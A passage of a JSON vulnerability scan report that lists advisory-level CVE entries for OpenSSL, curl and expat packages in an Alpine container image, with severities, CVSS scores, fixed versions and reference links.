"CweIDs": [ "CWE-416", "CWE-825" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "julia": 3, "oracle-oval": 2, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25237", "https://access.redhat.com/errata/RHSA-2026:25239", "https://access.redhat.com/errata/RHSA-2026:26275", "https://access.redhat.com/errata/RHSA-2026:26319", "https://access.redhat.com/errata/RHSA-2026:29197", "https://access.redhat.com/errata/RHSA-2026:34102", "https://access.redhat.com/errata/RHSA-2026:35869", "https://access.redhat.com/errata/RHSA-2026:36215", "https://access.redhat.com/errata/RHSA-2026:36217", "https://access.redhat.com/errata/RHSA-2026:39009", "https://access.redhat.com/errata/RHSA-2026:39012", "https://access.redhat.com/errata/RHSA-2026:39981", "https://access.redhat.com/errata/RHSA-2026:44438", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:58563", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:59831", "https://access.redhat.com/errata/RHSA-2026:66524", "https://access.redhat.com/security/cve/CVE-2026-45447", "https://bugzilla.redhat.com/2481898", "https://bugzilla.redhat.com/show_bug.cgi?id=2481879", "https://bugzilla.redhat.com/show_bug.cgi?id=2481880", "https://bugzilla.redhat.com/show_bug.cgi?id=2481881", "https://bugzilla.redhat.com/show_bug.cgi?id=2481882", "https://bugzilla.redhat.com/show_bug.cgi?id=2481884", "https://bugzilla.redhat.com/show_bug.cgi?id=2481885", "https://bugzilla.redhat.com/show_bug.cgi?id=2481887", "https://bugzilla.redhat.com/show_bug.cgi?id=2481890", "https://bugzilla.redhat.com/show_bug.cgi?id=2481891", "https://bugzilla.redhat.com/show_bug.cgi?id=2481892", "https://bugzilla.redhat.com/show_bug.cgi?id=2481893", "https://bugzilla.redhat.com/show_bug.cgi?id=2481894", "https://bugzilla.redhat.com/show_bug.cgi?id=2481896", "https://bugzilla.redhat.com/show_bug.cgi?id=2481897", "https://bugzilla.redhat.com/show_bug.cgi?id=2481898", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34180", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34181", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34182", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34183", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42764", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42767", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42768", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42769", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42770", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45445", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45446", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45447", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-7383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9076", "https://errata.almalinux.org/9/ALSA-2026-44438.html", "https://errata.rockylinux.org/RLSA-2026:25239", "https://github.com/advisories/GHSA-f684-cpcq-j565", "https://github.com/openssl/openssl/commit/3aad5eb7af4de4ee0633c30a8541a54d9bbde63c", "https://github.com/openssl/openssl/commit/7d4a980c62258c5910cc883936e0c8dbab4d75a8", "https://github.com/openssl/openssl/commit/9dfd688ad2290fc5075cacbc9bf0c9a93eefed54", "https://github.com/openssl/openssl/commit/a541ae8bfe849a30cc885e8780715c0f488e496c", "https://github.com/openssl/openssl/commit/c505d7559da5d5f9f2c3913c6883a5562ce7273e", "https://github.com/openssl/security/commit/3aad5eb7af4de4ee0633c30a8541a54d9bbde63c", "https://github.com/openssl/security/commit/7d4a980c62258c5910cc883936e0c8dbab4d75a8", "https://github.com/openssl/security/commit/9dfd688ad2290fc5075cacbc9bf0c9a93eefed54", "https://github.com/openssl/security/commit/a541ae8bfe849a30cc885e8780715c0f488e496c", "https://github.com/openssl/security/commit/c505d7559da5d5f9f2c3913c6883a5562ce7273e", "https://linux.oracle.com/cve/CVE-2026-45447.html", "https://linux.oracle.com/errata/ELSA-2026-50379.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-45447", "https://openssl-library.org/news/secadv/20260609.txt", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45447.json", "https://ubuntu.com/security/notices/USN-8414-1", "https://ubuntu.com/security/notices/USN-8414-2", "https://www.cve.org/CVERecord?id=CVE-2026-45447" ], "PublishedDate": "2026-06-09T17:17:19.277Z", "LastModifiedDate": "2026-09-18T13:18:26.343Z" }, { "VulnerabilityID": "CVE-2026-84782", "PkgID": "libcrypto3@3.3.5-r0", "PkgName": "libcrypto3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcrypto3@3.3.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "15bbec8716141e63" }, "InstalledVersion": "3.3.5-r0", "FixedVersion": "3.3.7-r2", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-84782", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:1e565e1ebc3b08a180fd4d462a38882703fb5023b303f57e9cdaf18063760266", "Title": "openssl: compat-openssl: openssl: Information disclosure via DTLS handshake retransmission", "Description": "Issue summary: The DTLS retransmission logic does not correctly handle\na handshake message write that is suspended part-way through.\nThe retransmitted message can be read past the message buffer and\nthe retransmission overwrites the internal state the suspended write\nneeds to resume correctly.\n\nImpact summary: The retransmitted message can disclose a heap memory\nto the peer as plaintext handshake data or cause a crash and a Denial\nof Service when the read reaches an unmapped memory region.\n\nCWE: CWE-125: Out-of-bounds Read\n\nDescription: DTLS handshake messages can be written out in multiple\nfragments, and a write can suspend mid-message (returning WANT_WRITE)\nif the underlying transport temporarily cannot accept more data. While\nsuch a write is suspended, the DTLS retransmission timer may\nindependently fire and ask the retransmission logic to resend an\nearlier, already-acknowledged-as-sent message from its retransmit\nqueue.\n\nThe retransmission logic reused the same internal buffer and position\ntracking as the message that was still being written, without\nresetting the position back to the start of the message being\nretransmitted. As a result the retransmission was read starting from\nwherever the suspended write had left off, producing a mislabelled\nmessage whose body was leftover bytes from the other, larger message\nstill in flight - content that was never meant to be sent at that\npoint, and which could run past the end of the allocated buffer.\n\nSeparately, even when the retransmission is positioned correctly,\nallowing it to run to completion while another write is suspended\noverwrites the same shared bookkeeping that the suspended write\ndepends on to resume. When the application later resumes the\nsuspended write (via a subsequent SSL_read(), SSL_write(),\nSSL_accept(), or SSL_connect() call), it finds that bookkeeping in a\nstate inconsistent with the message and aborts the process in\na debugging build.\n\nThe fix resets the retransmission's read position to the start of the\nmessage before resending, and skips retransmission entirely whenever a\nhandshake write is still suspended, deferring to the next call that\nresumes it instead.\n\nFIPS impact: no\nThe affected code is outside the FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77396", "https://access.redhat.com/errata/RHSA-2026:80514", "https://access.redhat.com/security/cve/CVE-2026-84782", "https://bugzilla.redhat.com/2517560", "https://bugzilla.redhat.com/2537080", "https://bugzilla.redhat.com/show_bug.cgi?id=2537080", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-84782", "https://errata.almalinux.org/9/ALSA-2026-80514.html", "https://errata.rockylinux.org/RLSA-2026:77396", "https://github.com/openssl/openssl/commit/906cf0ef1c85ca40ce69163e9086d6d3fe292943", "https://github.com/openssl/openssl/commit/9f6b34422af7eb5dac61322e33dac1ae989fa628", "https://github.com/openssl/openssl/commit/a383dafdd754eb5b22bf45e37e1bff9d07277a58", "https://github.com/openssl/openssl/commit/d951e02ede8f6a6ff8150546db44b34f0518192c", "https://linux.oracle.com/cve/CVE-2026-84782.html", "https://linux.oracle.com/errata/ELSA-2026-85968.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-84782", "https://openssl-library.org/news/secadv/20260929.txt", "https://openssl-library.org/news/vulnerabilities/#CVE-2026-84782", "https://ubuntu.com/security/notices/USN-8847-1", "https://ubuntu.com/security/notices/USN-8847-2", "https://www.cve.org/CVERecord?id=CVE-2026-84782" ], "PublishedDate": "2026-09-29T16:17:12.5Z", "LastModifiedDate": "2026-10-08T01:20:56.003Z" }, { "VulnerabilityID": "CVE-2026-5773", "PkgID": "libcurl@8.14.1-r2", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.14.1-r2?arch=x86_64\u0026distro=3.21.5", "UID": "834cb34e5fa41694" }, "InstalledVersion": "8.14.1-r2", "FixedVersion": "8.14.1-r3", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-5773", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:85767b6e919ed12241c0e6d244ad4ffc69f76224f1bafc6decb3a24a591f0303", "Title": "curl: libcurl: Wrong file transfer due to incorrect SMB connection reuse", "Description": "libcurl might in some circumstances reuse the wrong connection for SMB(S)\ntransfers.\n\nlibcurl features a pool of recent connections so that subsequent requests can\nreuse an existing connection to avoid overhead.\n\nWhen reusing a connection a range of criteria must be met. Due to a logical\nerror in the code, a network transfer operation that was requested by an\napplication could wrongfully reuse an existing SMB connection to the same\nserver that was using a different \"share\" than the new subsequent transfer\nshould.\n\nThis could in unlucky situations lead to the download of the wrong file or the\nupload of a file to the wrong place. When this happens, the same credentials\nare used and the server name is the same.", "Severity": "HIGH", "CweIDs": [ "CWE-488", "CWE-918" ], "VendorSeverity": { "julia": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "V3Score": 6.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/04/29/9", "https://access.redhat.com/security/cve/CVE-2026-5773", "https://curl.se/docs/CVE-2026-5773.html", "https://curl.se/docs/CVE-2026-5773.json", "https://github.com/advisories/GHSA-rp9q-8q5w-ch44", "https://hackerone.com/reports/3650689", "https://nvd.nist.gov/vuln/detail/CVE-2026-5773", "https://ubuntu.com/security/notices/USN-8227-1", "https://ubuntu.com/security/notices/USN-8525-1", "https://www.cve.org/CVERecord?id=CVE-2026-5773" ], "PublishedDate": "2026-05-13T13:01:56.307Z", "LastModifiedDate": "2026-09-15T07:16:28.82Z" }, { "VulnerabilityID": "CVE-2026-6276", "PkgID": "libcurl@8.14.1-r2", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.14.1-r2?arch=x86_64\u0026distro=3.21.5", "UID": "834cb34e5fa41694" }, "InstalledVersion": "8.14.1-r2", "FixedVersion": "8.14.1-r3", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-6276", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:e222ebb6c1adfaaa7d8324af4fbd2d418355b09147186d73d538b4520f1dd39f", "Title": "curl: libcurl: Information disclosure due to cookie leak when reusing connections with custom Host headers", "Description": "Using libcurl, when a custom `Host:` header is first set for an HTTP request\nand a second request is subsequently done using the same *easy handle* but\nwithout the custom `Host:` header set, the second request would use stale\ninformation and pass on cookies meant for the first host in the second\nrequest. Leak them.", "Severity": "HIGH", "CweIDs": [ "CWE-346", "CWE-319" ], "VendorSeverity": { "azure": 2, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "V3Score": 3.7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/04/29/13", "https://access.redhat.com/security/cve/CVE-2026-6276", "https://curl.se/docs/CVE-2026-6276.html", "https://curl.se/docs/CVE-2026-6276.json", "https://github.com/advisories/GHSA-2jc6-hc33-hv48", "https://hackerone.com/reports/3671818", "https://nvd.nist.gov/vuln/detail/CVE-2026-6276", "https://ubuntu.com/security/notices/USN-8227-1", "https://www.cve.org/CVERecord?id=CVE-2026-6276" ], "PublishedDate": "2026-05-13T13:01:56.8Z", "LastModifiedDate": "2026-09-15T07:16:29.343Z" }, { "VulnerabilityID": "CVE-2026-8286", "PkgID": "libcurl@8.14.1-r2", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.14.1-r2?arch=x86_64\u0026distro=3.21.5", "UID": "834cb34e5fa41694" }, "InstalledVersion": "8.14.1-r2", "FixedVersion": "8.14.1-r3", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8286", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:e59a06598d8765c3f90f489ba580f43132ed0ffea5347b4676427eabb4ff452f", "Title": "curl: curl: Insecure connection establishment due to TLS configuration mismatch", "Description": "A vulnerability exists where a new transfer that uses STARTTLS to upgrade the\nconnection might reuse an existing live connection even though the TLS\nconfiguration mismatches so it should not.", "Severity": "HIGH", "CweIDs": [ "CWE-295" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "julia": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:55439", "https://access.redhat.com/security/cve/CVE-2026-8286", "https://bugzilla.redhat.com/2446448", "https://bugzilla.redhat.com/2446450", "https://bugzilla.redhat.com/2496758", "https://bugzilla.redhat.com/2496763", "https://bugzilla.redhat.com/show_bug.cgi?id=2446448", "https://bugzilla.redhat.com/show_bug.cgi?id=2446450", "https://bugzilla.redhat.com/show_bug.cgi?id=2496758", "https://bugzilla.redhat.com/show_bug.cgi?id=2496763", "https://creativecommons.org/licenses/by/4.0/", "https://curl.se/L7HzKXisfJ/CVE-2026-8286.md", "https://curl.se/docs/CVE-2026-8286.html", "https://curl.se/docs/CVE-2026-8286.json", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-1965", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3783", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8286", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9547", "https://errata.almalinux.org/9/ALSA-2026-55439.html", "https://errata.rockylinux.org/RLSA-2026:55439", "https://github.com/advisories/GHSA-32xh-3x3c-6g6h", "https://hackerone.com/reports/3718195", "https://linux.oracle.com/cve/CVE-2026-8286.html", "https://linux.oracle.com/errata/ELSA-2026-57462.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-8286", "https://ubuntu.com/security/notices/USN-8487-1", "https://www.cve.org/CVERecord?id=CVE-2026-8286" ], "PublishedDate": "2026-07-03T07:16:24.453Z", "LastModifiedDate": "2026-09-15T07:16:31.617Z" }, { "VulnerabilityID": "CVE-2026-8927", "PkgID": "libcurl@8.14.1-r2", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.14.1-r2?arch=x86_64\u0026distro=3.21.5", "UID": "834cb34e5fa41694" }, "InstalledVersion": "8.14.1-r2", "FixedVersion": "8.14.1-r3", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8927", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:5d904aaa4787ea44e82460ae2f78139dce5d2148f50a1b29b0e1974576a69dca", "Title": "curl: Information disclosure due to uncleared proxy authentication state", "Description": "When reusing a libcurl handle for sequential transfers driven by\nenvironment-variable proxy configuration, libcurl fails to clear the proxy\nauthentication state between requests. Specifically, if the initial transfer\nauthenticates against `proxyA` using Digest auth, a subsequent transfer routed\nthrough `proxyB` erroneously leaks the `Proxy-Authorization:` header intended\nsolely for `proxyA`.", "Severity": "HIGH", "CweIDs": [ "CWE-294" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "julia": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69126", "https://access.redhat.com/security/cve/CVE-2026-8927", "https://bugzilla.redhat.com/2496764", "https://bugzilla.redhat.com/2496769", "https://bugzilla.redhat.com/show_bug.cgi?id=2496764", "https://bugzilla.redhat.com/show_bug.cgi?id=2496769", "https://creativecommons.org/licenses/by/4.0/", "https://curl.se/L7HzKXisfJ/CVE-2026-8927.md", "https://curl.se/docs/CVE-2026-8927.html", "https://curl.se/docs/CVE-2026-8927.json", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8458", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8927", "https://errata.almalinux.org/9/ALSA-2026-69126.html", "https://errata.rockylinux.org/RLSA-2026:69126", "https://github.com/advisories/GHSA-jr4f-4564-w3mr", "https://hackerone.com/reports/3744543", "https://linux.oracle.com/cve/CVE-2026-8927.html", "https://linux.oracle.com/errata/ELSA-2026-92368.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-8927", "https://ubuntu.com/security/notices/USN-8487-1", "https://ubuntu.com/security/notices/USN-8820-1", "https://www.cve.org/CVERecord?id=CVE-2026-8927" ], "PublishedDate": "2026-07-03T07:16:25.123Z", "LastModifiedDate": "2026-09-15T07:16:33.157Z" }, { "VulnerabilityID": "CVE-2026-92392", "PkgID": "libcurl@8.14.1-r2", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.14.1-r2?arch=x86_64\u0026distro=3.21.5", "UID": "834cb34e5fa41694" }, "InstalledVersion": "8.14.1-r2", "FixedVersion": "8.14.1-r3", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-92392", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:dbacbd56f02f71fc51e73e4b0cc9068217a8a8b454e37cee59f24271c4b150a1", "Title": "curl: curl: HTTP/2 upload Use-After-Free", "Description": "During an upload, curl mishandles HTTP/2 `RST_STREAM` received from the server\n(with reason `HTTP_1_1_REQUIRED` or `REFUSED_STREAM`) leading to a use after\nfree of a `struct Curl_easy` object.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/18/5", "http://www.openwall.com/lists/oss-security/2026/10/18/6", "https://access.redhat.com/security/cve/CVE-2026-92392", "https://curl.se/docs/CVE-2026-92392.html", "https://curl.se/docs/CVE-2026-92392.json", "https://hackerone.com/reports/4030333", "https://nvd.nist.gov/vuln/detail/CVE-2026-92392", "https://ubuntu.com/security/notices/USN-8927-1", "https://ubuntu.com/security/notices/USN-8927-2", "https://www.cve.org/CVERecord?id=CVE-2026-92392" ], "PublishedDate": "2026-10-14T08:17:05.997Z", "LastModifiedDate": "2026-10-18T23:16:57.163Z" }, { "VulnerabilityID": "CVE-2026-113351", "PkgID": "libexpat@2.7.3-r0", "PkgName": "libexpat", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libexpat@2.7.3-r0?arch=x86_64\u0026distro=3.21.5", "UID": "a68d248172a73ddf" }, "InstalledVersion": "2.7.3-r0", "FixedVersion": "2.10.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-113351", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:33ddf7f45935595f22a2eccb1fe359239c8fa5bf5b2d08392f77cc0d3531e52b", "Title": "expat: expat: Denial of Service via improper memory tracking in XML_ParserReset", "Description": "libexpat 2.7.2 through 2.9.0 contains a denial of service vulnerability because XML_ParserReset zeroes the direct byte count but never offsets tracked heap allocations. Attackers can submit a large XML document so later documents on the same reset parser fail with XML_ERROR_NO_MEMORY until it is recreated.", "Severity": "HIGH", "CweIDs": [ "CWE-909" ], "VendorSeverity": { "nvd": 3, "redhat": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-113351", "https://github.com/libexpat/libexpat", "https://github.com/libexpat/libexpat/blob/a76b1174c1ea52abb639a4c69d52b630a8a106a2/expat/lib/xmlparse.c#L1560", "https://github.com/libexpat/libexpat/blob/a76b1174c1ea52abb639a4c69d52b630a8a106a2/expat/lib/xmlparse.c#L860-L884", "https://github.com/libexpat/libexpat/pull/1431", "https://nvd.nist.gov/vuln/detail/CVE-2026-113351", "https://www.cve.org/CVERecord?id=CVE-2026-113351", "https://www.vulncheck.com/advisories/libexpat-2.7.2-through-2.9.0-denial-of-service-via-xml-parserreset" ], "PublishedDate": "2026-10-20T11:17:19.363Z", "LastModifiedDate": "2026-11-03T21:26:47.25Z" }, { "VulnerabilityID": "CVE-2026-115506", "PkgID": "libexpat@2.7.3-r0", "PkgName": "libexpat", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libexpat@2.7.3-r0?arch=x86_64\u0026distro=3.21.5", "UID": "a68d248172a73ddf" }, "InstalledVersion": "2.7.3-r0", "FixedVersion": "2.10.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-115506", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:d57b0b6c21a90d9506eb7f51e89d630b3d545f58db275519aebed5597a5e2fe5", "Title": "expat: expat: Denial of Service via delayed entity amplification detection", "Description": "libexpat through 2.9.0 contains a denial of service vulnerability because billion laughs protection in accountingDiffTolerated() in xmlparse.c detects entity amplification too late. Attackers can supply a moderately sized XML document with a large DTD and nested entity expansions to consume tens of seconds of CPU per parse.", "Severity": "HIGH", "CweIDs": [ "CWE-776" ], "VendorSeverity": { "photon": 3, "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-115506", "https://github.com/hannob/lololol", "https://github.com/libexpat/libexpat", "https://github.com/libexpat/libexpat/issues/1160", "https://github.com/libexpat/libexpat/pull/1433", "https://nvd.nist.gov/vuln/detail/CVE-2026-115506", "https://www.cve.org/CVERecord?id=CVE-2026-115506", "https://www.vulncheck.com/advisories/libexpat-through-2.9.0-denial-of-service-via-billion-laughs-detection-delay" ], "PublishedDate": "2026-10-22T20:17:06.62Z", "LastModifiedDate": "2026-11-02T18:27:06.127Z" }, { "VulnerabilityID": "CVE-2026-117610", "PkgID": "libexpat@2.7.3-r0", "PkgName": "libexpat", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libexpat@2.7.3-r0?arch=x86_64\u0026distro=3.21.5", "UID": "a68d248172a73ddf" }, "InstalledVersion": "2.7.3-r0", "FixedVersion": "2.10.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-117610", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:f7f408876c13699cb475e2884816b9617608549f245df73e9bb05569a907f938", "Title": "expat: expat: Denial of Service via NULL pointer dereference in external entity parsing", "Description": "libexpat through 2.9.0 contains a NULL pointer dereference vulnerability in externalEntityInitProcessor2() in lib/xmlparse.c that mishandles the XML_TOK_NONE token from empty input. Attackers who control stream chunking can force an empty non-final first parse on an external entity subparser, causing a later parse to crash the application.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "nvd": 3, "redhat": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-117610", "https://github.com/libexpat/libexpat", "https://github.com/libexpat/libexpat/blob/a76b1174c1ea52abb639a4c69d52b630a8a106a2/expat/lib/xmlparse.c#L3468-L3510", "https://github.com/libexpat/libexpat/commit/7b0d50e4b1d16fafd55876260701e04279a7489d", "https://github.com/libexpat/libexpat/pull/1444", "https://nvd.nist.gov/vuln/detail/CVE-2026-117610", "https://www.cve.org/CVERecord?id=CVE-2026-117610", "https://www.vulncheck.com/advisories/libexpat-through-2.9.0-null-pointer-dereference-via-external-entity-subparser" ], "PublishedDate": "2026-10-28T03:17:12.777Z", "LastModifiedDate": "2026-11-05T16:17:35.787Z" }, { "VulnerabilityID": "CVE-2026-118370", "PkgID": "libexpat@2.7.3-r0", "PkgName": "libexpat", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libexpat@2.7.3-r0?arch=x86_64\u0026distro=3.21.5", "UID": "a68d248172a73ddf" }, "InstalledVersion": "2.7.3-r0", "FixedVersion": "2.10.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-118370", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:a024cbf08bdb629bdd5a413cd264790b20498ea8b6f0e6eb74732a99be5549e3", "Title": "expat: expat: Denial of Service via integer overflow during XML attribute parsing", "Description": "libexpat through 2.9.0 contains a signed integer overflow vulnerability in storeAtts() in lib/xmlparse.c that allows attackers to trigger out-of-bounds writes via oversized attribute counts. 